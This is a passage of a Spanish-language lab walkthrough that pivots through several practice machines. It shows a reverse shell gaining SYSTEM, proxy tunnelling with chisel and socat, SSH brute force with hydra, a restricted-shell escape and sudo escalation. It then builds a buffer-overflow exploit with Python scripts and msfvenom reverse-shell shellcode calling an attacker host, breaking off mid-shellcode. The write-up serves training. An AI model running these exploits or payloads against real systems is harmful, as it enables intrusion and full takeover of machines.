GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa801aa34ba0
SESSION: 0xfffff8a0016a8620
FLINK: 0xfffff8a0017a2088
InParam: 0xfffff8a00179815c
MID: 0x2903
unexpected alignment, diff: 0x9088
leak failed... try again
CONNECTION: 0xfffffa801aa34ba0
SESSION: 0xfffff8a0016a8620
FLINK: 0xfffff8a0017ae088
InParam: 0xfffff8a0017a815c
MID: 0x2903
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Opening SVCManager on 192.168.100.128.....
Creating service ZqFR.....
Starting service ZqFR.....

Y, si ahora nos fijamos en el listener de netcat, tenemos acceso a la máquina, listando las interfaces de red, nos fijamos que tiene otra interfaz, la 172.18.0.0/24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
❯ rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.1.84] from (UNKNOWN) [192.168.1.149] 44094
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::14ad:8a93:563a:4396%12
   IPv4 Address. . . . . . . . . . . : 172.18.0.128
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::60d2:f470:4f06:d3cc%11
   IPv4 Address. . . . . . . . . . . : 192.168.100.128
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Tunnel adapter isatap.{2C6DBC13-30F2-4A42-A5DC-10AE7ACC26AE}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Tunnel adapter isatap.localdomain:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : localdomain

C:\Windows\system32>

Ahora, para escanear los hosts disponibles en el nuevo segmento de red 172.18.0.0/24, usaremos las herramientas arp y ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
C:\Windows\system32>arp -d
arp -d

C:\Windows\system32>for /L %a in (1,1,254) do @start /b ping 172.18.0.%a -w 100 -n 2 >nul
for /L %a in (1,1,254) do @start /b ping 172.18.0.%a -w 100 -n 2 >nul

C:\Windows\system32>arp -a 
arp -a 

Interface: 192.168.100.128 --- 0xb
  Internet Address      Physical Address      Type
  192.168.100.129       00-0c-29-0d-ac-ac     dynamic   

Interface: 172.18.0.128 --- 0xc
  Internet Address      Physical Address      Type
  172.18.0.1            00-50-56-c0-00-04     dynamic   
  172.18.0.129          00-0c-29-28-cb-85     dynamic   
  172.18.0.254          00-50-56-f8-08-ce     dynamic   

C:\Windows\system32>ping -n 1 172.18.0.129
ping -n 1 172.18.0.129

Pinging 172.18.0.129 with 32 bytes of data:
Reply from 172.18.0.129: bytes=32 time<1ms TTL=64

Ping statistics for 172.18.0.129:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\Windows\system32>

Sabemos que la IP de la máquina Matrix es la 172.18.0.129, subiremos el chisel a la máquina Dumbledore para crear otro túnel para tener conectividad con la máquina Matrix desde nuestra máquina Kali

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Dumbledore
C:\Windows\Temp\Resources>copy \\192.168.100.129\smbFolder\chisel.exe .

# Kali
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.1.149,52346)
[*] AUTHENTICATE_MESSAGE (\,WIN-EJ3HMCJP0QG)
[*] User WIN-EJ3HMCJP0QG\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:smbFolder)

Ya que tenemos el chisel subido a la máquina, crearemos 2 túneles con socat para redirigir el tráfico del chisel de la máquina Dumbledore a nuestro servidor chisel

1
2
3
4
5
6
7
8
# Dumbledore
C:\Windows\Temp\Resources>.\chisel client 192.168.100.129:4343 R:8888:socks

# Nagini
root@Nagini:~# socat TCP-LISTEN:4343,fork TCP:10.10.0.128:1243

# Aragog
root@Aragog:~# socat TCP-LISTEN:1243,fork TCP:192.168.1.84:1234

Ahora que tenemos el túnel creado, añadiremos el proxy al archivo de configuración de proxychains

Matrix

Reconocimiento


Técnicas vistas (Matrix):

  • Crypto Challenge
  • Creating a password dictionary using crunch
  • EXTRA: Applying brute force with Hydra by going through a triple SOCKS5 proxy
  • Escaping from a restrictive shell
  • Abusing sudoers privilege [Privilege Escalation]

Realizaremos un escaneo con nmap ya que tenemos conectividad gracias a los túneles

1
2
3
4
seq 1 65535 | xargs -P 500 -I {} proxychains nmap -sT -Pn -p{} -open -T5 -v -n 172.18.0.129 2>&1 | grep "tcp open"
22/tcp open  ssh
80/tcp open  http
31337/tcp open  Elite

Para acceder al servidor HTTP tendremos que añadir el proxy en el FoxyProxy

El servidor HTTP alocado en el puerto 80 es un Rabbit Hole, así que investigaremos el puerto 31337, usaré la herramienta whatweb a través de proxychains

1
2
❯ proxychains -q whatweb http://172.18.0.129:31337
http://172.18.0.129:31337 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[SimpleHTTP/0.6 Python/2.7.14], IP[172.18.0.129], JQuery, Python[2.7.14], Script[text/javascript], Title[Welcome in Matrix]

Si inspeccionamos el código fuente, nos encontramos con una cadena encriptada en base64

1
<!--p class="service__text">ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p-->
1
2
echo "ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=" | base64 -d; echo
echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

Nos fijamos que todo el mensaje lo está exportando al archivo Cyper.matrix, vamos a buscarlo en el navegador

Sí nos fijamos bien en la web, parece ser una cadena encodeada con el lenguaje esotérico brainfuck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
cat Cypher.matrix
+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
>++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.-
--.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[-
>---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->--
----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
>---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<

Decodearemos el mensaje en la web dcode, encontramos que nos da este mensaje You can enter into matrix as guest, with password k1ll0rXX Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password

Fuerza Bruta SSH


El mensaje nos da a conocer el usuario guest, y nos dice parte de su contraseña, menos sus dos últimos carácteres, usaremos la herramienta crunch para crear un diccionario de contraseñas a probar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ crunch 8 8 -t k1ll0r@% > passwords
Crunch will now generate the following amount of data: 2340 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260 
❯ crunch 8 8 -t k1ll0r%@ >> passwords
Crunch will now generate the following amount of data: 2340 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260 

Ahora que tenemos el diccionario de contraseñas a utilizar, usaremos la herramienta hydra para aplicar un ataque de fuerza bruta sobre el servicio SSH

1
2
3
4
5
6
7
❯ proxychains hydra -l guest -P passwords ssh://172.18.0.129 -t 20 2>/dev/null
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-28 18:13:53
[DATA] max 20 tasks per 1 server, overall 20 tasks, 520 login tries (l:1/p:520), ~26 tries per task
[DATA] attacking ssh://172.18.0.129:22/
[22][ssh] host: 172.18.0.129   login: guest   password: k1ll0r7n

Ahora que tenemos credenciales, nos conectaremos a la máquina por SSH, peroo, estamos en una rbash!

1
2
3
4
5
6
 proxychains -q ssh guest@172.18.0.129
guest@172.18.0.129's password: 
Last login: Tue Feb 28 18:15:46 2023 from 172.18.0.130
guest@porteus:~$ whoami
-rbash: whoami: command not found
guest@porteus:~$ 

Escalada de Privilegios


Si tratamos de ejcutar cualquier comando, nos va a dar error, esto es porque estamos en una rbash, pero esta rbash se puede bypassear fácilmente gracias a una utilidad de ssh, sí al final del comando de conexión ponemos un comando, el comando se ejecutará antes de establecer la conexión, así que inyectaremos el comando bash para estar en una bash

1
2
3
4
5
6
7
8
9
 proxychains -q ssh guest@172.18.0.129 bash
guest@172.18.0.129's password: 
Permission denied, please try again.
guest@172.18.0.129's password: 
whoami
guest
script /dev/null -c bash
Script started, file is /dev/null
guest@porteus:~$ 

Listando interfaces de red nos damos cuenta que la máquina tiene 2 interfaces, una en el segmento 172.18.0.0/24, que ya sabíamos de antes, y el nuevo segmento 10.15.12.0/24, antes de saltar a la última máquina, tendremos que escalar privilegios en la máquina

Si listamos privilegios a nivel de sudoers, nos damos cuenta que podemos ejecutar cualquier comando como el usuario root, ejecutaremos el comando sudo su para escalar privilegios, la flag está en el directorio personal del usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
guest@porteus:~$ sudo -l
User guest may run the following commands on porteus:
    (ALL) ALL
    (root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
    (trinity) NOPASSWD: /bin/cp
guest@porteus:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

Password: 
root@porteus:/home/guest# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
root@porteus:/home/guest# cd
root@porteus:~# ls
Desktop/  Documents/  Downloads/  Music/  Pictures/  Public/  Videos/  flag.txt
root@porteus:~# cat flag.txt 
   _,-.                                                             
,-'  _|                  EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._              INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_.           IN THE MATRIX AND BEAT OFF                 
|`-._`-.\,-'_|  _,-'.                                               
     `-.|.-' | |`.-'|_     WHAT                                     
        |      |_|,-'_`.                                            
              |-._,-'  |     NO, ME NEITHER                         
         jrei | |    _,'                                            
              '-|_,-'          IT'S JUST A HYPOTHETICAL QUESTION    

root@porteus:~# 

Brainpan

Reconocimiento


Técnicas vistas (Brainpan):

  • EXTRA: Creation of bash script to discover computers on the internal network
  • Web Enumeration - BurpSuite Intruder Attack (Due to certain timeout problems using multiple proxies)
  • EXE Binary Analysis - Immunity Debugger [Buffer Overflow x32 Stack Based]
  • EXTRA: Playing with netsh to control connection flow in Windows
  • EXTRA: Reverse shell going through 4 machines using 4 SOCKS proxies

Iniciaremos con el reconocimiento de la máquina Brainpan. Antes que todo, necesitaremos saber su IPv4, para eso, crearemos un pequeño script en bash para escanear todo el nuevo segmento de red que acabamos de descubrir

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

function ctrl_c(){
    echo -e "\n\n[!] Saliendo...\n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for i in $(seq 1 254); do
    timeout 1 bash -c "ping -c 1 10.15.12.$i" &>/dev/null && echo "[+] HOST - 10.15.12.$i - ACTIVO" &
done; wait
tput cnorm

Ejecutamos el script y encontramos la IP 10.15.12.129, esa es la IPv4 de la máquina Brainpan, subiremos el chisel a la máquina, y crearemos otros túneles para conectarlo a nuestro servidor central

1
2
3
4
5
6
7
8
9
10
11
12
# Matrix
root@porteus:/tmp# ./chisel client 172.18.0.130:8787 R:5522:socks

# Dumbledore
C:\Windows\system32>netsh interface portproxy add v4tov4 listenport=8787 listenaddress=0.0.0.0 connectport=8788 connectaddress=192.168.100.129

# Nagini
root@Nagini:/tmp# ./socat TCP-LISTEN:8788,fork TCP:10.10.0.134:8789

# Aragog
root@Aragog:/tmp# ./socat TCP-LISTEN:8789,fork TCP:192.168.1.148:1234

Ahora que tenemos conectividad directa con la máquina Brainpan, aplicaremos un reconocimiento de puertos con nmap, usaremos un secuenciador para acelerar el proceso de escaneo

1
2
3
seq 1 65535 | xargs -P 500 -I {} proxychains nmap -sT -Pn -p{} -open -T5 -v -n 10.15.12.129 2>&1 | grep "tcp open"
9999/tcp open  abyss
10000/tcp open  snet-sensor-mgmt

En el puerto 10000 corre un servidor HTTP, aplicaremos un escaneo web con la herramienta whatweb, sobre el puerto 10000 y pasando por el túnel con proxychains

1
2
❯ proxychains -q whatweb http://10.15.12.129:10000
http://10.15.12.129:10000 [200 OK] Country[RESERVED][ZZ], HTTPServer[SimpleHTTP/0.6 Python/2.7.3], IP[10.15.12.129], Python[2.7.3]

Para acceder al servidor HTTP tendremos que añadir el nuevo túnel proxy en la extensión FoxyProxy, ya podemos acceder directamente al servidor HTTP

Si aplicamos fuzzing con gobuster encontraremos la ruta /bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.149 -t 200 --proxy socks5://127.0.0.1:5522
===============================================================
[+] Url:                     http://10.15.12.129:10000
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   socks5://127.0.0.1:5522
[+] User Agent:              gobuster/3.4
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
/bin                 (Status: 301) [Size: 313] [--> http://192.168.1.149/blog/]
===============================================================
2023/02/28 18:19:42 Finished
===============================================================

Accedemos a la ruta /bin, encontramos el binario brainpan.exe

Parece ser que el binario que nos acabamos de descargar es el mismo que corre en el puerto 9999 de la máquina

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ proxychains -q nc 10.15.12.129 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> 

Buffer Overflow


Ahora nos descargaremos el binario para aplicar debugging, podéis trabajar con una máquina Windows 7 32 bits, yo utilizaré mi propia máquina Windows 11 para debuggear el binario, instalaremos el Immunity Debugger para aplicar debugging más facilmente

Para comenzar, crearemos un script en python para fuzzear el punto donde se acontece el buffer overflow, el script quedaría algo así

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
from pwn import log, socket, time

buffer = [b"A"]
counter = 100

bar = log.progress("")

while len(buffer) < 32:
    buffer.append(b"A" * counter)
    counter = counter + 100

for strings in buffer:
    try:
        time.sleep(1)
        bar.status(f"Enviando: {len(strings)} bytes")

        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect = shell.connect(("192.168.1.92", 9999))

        shell.send(strings + b"\r\n")

        data = shell.recv(1024)
        shell.close()

    except:
        bar.success(f"El programa se detuvo al enviar: {len(strings)} bytes")
        exit()

Al ejecutar el script ejecutando el .exe podemos ver que se detiene al enviar 600 bytes

1
2
❯ python3 fuzzer.py
[+] El programa se detuvo al enviar: 600 bytes

Ahora utilizando la herramienta msf_pattern_create crearemos un patrón de 600 bytes

1
2
❯ msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3
from pwn import log, socket

pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"

log.info("Enviando pattern")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = shell.connect(("192.168.1.92", 9999))

shell.send(pattern)

data = shell.recv(1024)
shell.close()

Ahora lo que nos tenemos que fijar es en el valor del EIP, así que usaremos la herramienta Immunity Debugger, así que abriremos el .exe y lo correremos

Si nos fijamos en el valor del EIP nos fijamos que vale 35724134, así que meteremos el valor en la herramienta msf-pattern_offset para calcular el offset

1
2
❯ msf-pattern_offset -q 35724134
[*] Exact match at offset 524

Ahora crearemos un script que envie 524 A’s y 4 B’s, para ver si estamos en lo correcto en tanto al offset del EIP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3
from pwn import log, socket

offset = 524
junk = b"A" * offset

log.info("Enviando data")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = shell.connect(("192.168.1.92", 9999))

shell.send(junk + b"B" * 4)

data = shell.recv(1024)
shell.close()

Ejecutamos el script y podemos ver que el valor del EIP equivale a 42424242, que son 4 B en valor hexadecimal

En este punto procederemos a generar nuestro shellcode con msfvenom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.84 LPORT=443 EXITFUNC=thread -a x86 -b "\x00" -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xb8\x92\x5d\x71\xc8\xda\xcb\xd9\x74\x24\xf4"
shellcode += b"\x5b\x31\xc9\xb1\x52\x83\xc3\x04\x31\x43\x0e"
shellcode += b"\x03\xd1\x53\x93\x3d\x29\x83\xd1\xbe\xd1\x54"
shellcode += b"\xb6\x37\x34\x65\xf6\x2c\x3d\xd6\xc6\x27\x13"
shellcode += b"\xdb\xad\x6a\x87\x68\xc3\xa2\xa8\xd9\x6e\x95"
shellcode += b"\x87\xda\xc3\xe5\x86\x58\x1e\x3a\x68\x60\xd1"
shellcode += b"\x4f\x69\xa5\x0c\xbd\x3b\x7e\x5a\x10\xab\x0b"
shellcode += b"\x16\xa9\x40\x47\xb6\xa9\xb5\x10\xb9\x98\x68"
shellcode += b"\x2a\xe0\x3a\x8b\xff\x98\x72\x93\x1c\xa4\xcd"
shellcode += b"\x28\xd6\x52\xcc\xf8\x26\x9a\x63\xc5\x86\x69"
shellcode += b"\x7d\x02\x20\x92\x08\x7a\x52\x2f\x0b\xb9\x28"
shellcode += b"\xeb\x9e\x59\x8a\x78\x38\x85\x2a\xac\xdf\x4e"
shellcode += b"\x20\x19\xab\x08\x25\x9c\x78\x23\x51\x15\x7f"
shellcode += b"\xe3\xd3\x6d\xa4\x27\xbf\x36\xc5\x7e\x65\x98"
shellcode += b"\xfa\x60\xc6\x45\x5f\xeb\xeb\x92\xd2\xb6\x63"
shellcode += b"\x56\xdf\x48\x74\xf0\x68\x3b\x46\x5f\xc3\xd3"
shellcode += b"\xea\x28\xcd\x24\x0c\x03\xa9\xba\xf3\xac\xca"
shellcode += b"\x93\x37\xf8\x9a\x8b\x9e\x81\x70\x4b\x1e\x54"
shellcode += b"\xd6\x1b\xb0\x07\x97\xcb\x70\xf8\x7f\x01\x7f"
shellcode += b"\x27\x9f\x2a\x55\x40\x0a\xd1\x3e\xaf\x63\xd8"
shellcode += b"\xea\x47\x76\xda\x13\x23\xff\x3c\x79\x43\x56"
shellcode += b"\x97\x16\xfa\xf3\x63\x86\x03\x2e\x0e\x88\x88"
shellcode += b"\xdd\xef\x47\x79\xab\xe3\x30\x89\xe6\x59\x96"
shellcode += b"\x96\xdc\xf5\x74\x04\xbb\x05\xf2\x35\x14\x52"
shellcode += b"\x53\x8b\x6d\x36\x49\xb2\xc7\x24\x90\x22\x2f"
shellcode += b"\xec\x4f\x97\xae\xed\x02\xa3\x94\xfd\xda\x2c"
